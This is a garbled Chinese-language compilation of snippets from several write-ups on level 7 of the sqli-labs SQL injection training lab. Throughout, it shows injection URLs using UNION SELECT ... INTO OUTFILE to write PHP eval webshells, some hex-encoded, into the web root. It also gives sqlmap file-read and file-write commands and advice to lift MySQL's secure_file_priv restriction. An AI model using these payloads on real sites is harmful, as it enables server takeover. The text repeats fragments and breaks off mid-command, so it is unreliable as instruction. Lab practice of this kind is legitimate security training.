第七关 和第五关相比单引号和双括号,简单构造 一下即可 https://sqli.wmcoder.site/sqli-labs/Less-7?
前言: 本关卡为sql-labs系列less-7,本关个人认为比较简单,讲的比较详细,会有点啰嗦,谅解~如有错误的地方欢迎师傅们指正! sql注入语句为: http://localhost/sql-labs/Less-7/?id=-1’)) union select 1,2,’<?php @eval($_POST["123"]);? >’ into outfile “D:\phpstudy_pro\WWW\sql-labs\Less-7\test.php”–+ '<?php @eval($_POST["123"]);? "D:\phpstudy_pro\WWW\sql-labs\Less-7\test.php"是sql-labs/less-7文件的存放路径(根据你自己的安装路径来写),test.php为木马上传以后的保存文件
id=1' 报错http://127.0.0.1/sqli-labs-master/Less-7/? id=1')) --+ 正常 2.判断列数 http://127.0.0.1/sqli-labs-master/Less-7/? id=1')) order by 3 --+ 正常 http://127.0.0.1/sqli-labs-master/Less-7/? id=1' 报错http://127.0.0.1/sqli-labs-master/Less-7/? id=1')) --+ 正常 2.判断列数 http://127.0.0.1/sqli-labs-master/Less-7/?
id=1" --file-read "E:\flag.php" 将mm.php写入目标网站根目录 sqlmap -u "http://127.0.0.1/sqlilabs2/Less-7/index.php "/home/bb/mm.php" --file-dest "E:\mm.php" --batch 默认参数的报错注入检测 sqlmap -u "http://127.0.0.1/sqlilabs2/Less --dbs --threads 100 --technique ES --level 3 检测POST请求参数是否有注入点 sqlmap -u "http://127.0.0.1/sqlilabs2/Less id=1" --forms --dbs --batch 使用多个tamper进行检测 sqlmap -u "http://127.0.0.1/sqlilabs2/Less-7/index.php?
Less-7 /sqli-labs/Less-7/? /sqli-labs/Less-7/?id=1? 1,0x3c3f706870206563686f2027636c65616e726f626f74404368616d6435272e706870696e666f28293b203f3e,3 into outfile "/var/www/html/sqli-labs/Less -7/test.php" -- - //这里我们写入到目录 我们来访问刚写入的地方 /sqli-labs/Less-7/? 1,0x3c3f706870206563686f2027636c65616e726f626f74404368616d6435272e706870696e666f28293b203f3e,3 into outfile "/var/www/html/sqli-labs/Less
SELECT “123” INTO OUTFILE “c:/123.txt"; 要使用联合查询写文件,不能使用and或者or拼接写文件 http://172.16.11.222/sqli-labs/Less
重启mysql即可 写入敏感文件 写入一句话木马 http://127.0.0.1/sqlilabs2/Less-7/index.php? 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile "E:\softs\phpstudy_pro\WWW\sqlilabs2\Less -7\mm2.php"--+ 写入phpinfo http://127.0.0.1/sqlilabs2/Less-7/index.php? id=1')) 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile "E:\softs\phpstudy_pro\WWW\sqlilabs2\Less id=1" --file-read "E:\mm.php" 文件写入 sqlmap -u "http://127.0.0.1/sqlilabs2/Less-7/index.php?
LIKE "secure_file_priv" 这边使用sqlmap注入python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less id=1')) http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/? 20outfile%20%22F:/res.txt%22%20--+ 其他的替换database()字段为我们需要的语句即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less
\wamp\bin\mysql\mysql5.6.17\my.ini’)into outfile ‘c:\wamp\www\test.php 实例: http://127.0.0.1/sqllib/Less id=1’)) or 1=1–+ http://127.0.0.1/sqllib/Less-7/? id=1’))UNION SELECT 1,2,3 into outfile “c:\wamp\www\sqlli b\Less-7\uuu.txt”%23 http://127.0.0.1/sqllib /Less-7/? >’ i nto outfile “c:\wamp\www\sqllib\Less-7\yijuhua.php”–+ http://127.0.0.1/sqllib/Less-8/?
FROM users WHERE id=(('$id')) LIMIT 0,1"; $id被双层括号和单引号包围,URL正确时有提示 构造语句 http://127.0.0.1/sqlilabs/Less id=1')) UNION SELECT 1,2,3 into outfile "\WWW\\sqli\\Less-7\\1.php"%23 less-8 9 10 基于布尔/时间的盲注 我们尝试用各种构造
解码之后,发现有hacker.txt字样 深入追踪此条流量,将下列部分进行url和base64解码 0x72b3f341e432=D:/phpStudy/PHPTutorial/WWW/sqlii/Less 接着往下进行流量分析 在24475组找到了与之对应的流量 追踪流量 解密之后得到 0x72b3f341e432=D:/phpStudy/PHPTutorial/WWW/sqlii/Less-7/hacker.txt
Quotes-String) 双注入双引号闭合字符型sql注入漏洞; 和[Less-5](#Less-5(GET-Double Injection-Single Quotes-String))思路一样,把单引号替换即可 Less >" into outfile "D:/phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-7" --+ 然后蚁剑连接即可(这一关参考了一位师傅的解) 具体导入导出文件的
my.ini添加secure-file-priv参数,没有填具体值表示不做限制(这样做其实很危险) 重启mysql即可 写入敏感文件 写入一句话木马 http://127.0.0.1/sqlilabs2/Less 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile "E:\softs\phpstudy_pro\WWW\sqlilabs2\Less -7\mm2.php"--+ 写入phpinfo http://127.0.0.1/sqlilabs2/Less-7/index.php? id=1')) 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile "E:\softs\phpstudy_pro\WWW\sqlilabs2\Less id=1" --file-read "E:\mm.php" 文件写入 sqlmap -u "http://127.0.0.1/sqlilabs2/Less-7/index.php?
Less-7 考查mysql对文件操作 限制: 需要有读取文件的权限 需要知道绝对物理路径 load_file() 这里需要注意对路径的转义。 >" into outfile 'D:/phpstudy/WWW/p0desta.php'; Query OK, 1 row affected (0.00 sec) Less-7 payload:http ://127.0.0.1/sqli/Less-7/?
where table_schema=database() limit 0,1),1,1))>100--+ 可以发现>100有回显,小于就没有,也可以用报错注入… 这里就是把Less-5 中的'改成"就行了 Less -7 使用文件导出 1'))UNION SELECT 1,2,3 into outfile "c:\\wamp\\www\\sqlli b\\Less-7\\uuu.txt"%23 1'))UNION >' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"--+ Less-8 可以使用时间盲注,也可以用 bool 盲注 1' and If
>’,3 into OUTFILE "H.1phpstudy.prolWWW\cms\Sali.Edited..Version\sqlilabs\Less-7\lshell.php"–+ 效果:将php
less-6空格绕过$file_ext = trim($file_ext); //首尾去空 会将文件后缀名前后的空格去除 在没有这种函数的情况下,我们可以使用在后缀名后面加空格的方法绕过黑名单检测 less
Less-7: SQL 注入,但对单引号、双引号、反斜杠、分号、空格和注释符进行了转义。Less-8: SQL 注入,但对单引号、双引号、反斜杠、分号、空格、注释符和括号进行了转义。
id=11" and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)));%23 Less-7 Dump into outfile ?
>" into outfile "D:/phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-7" --+ 然后蚁剑连接即可(这一关参考了一位师傅的解) 具体导入导出文件的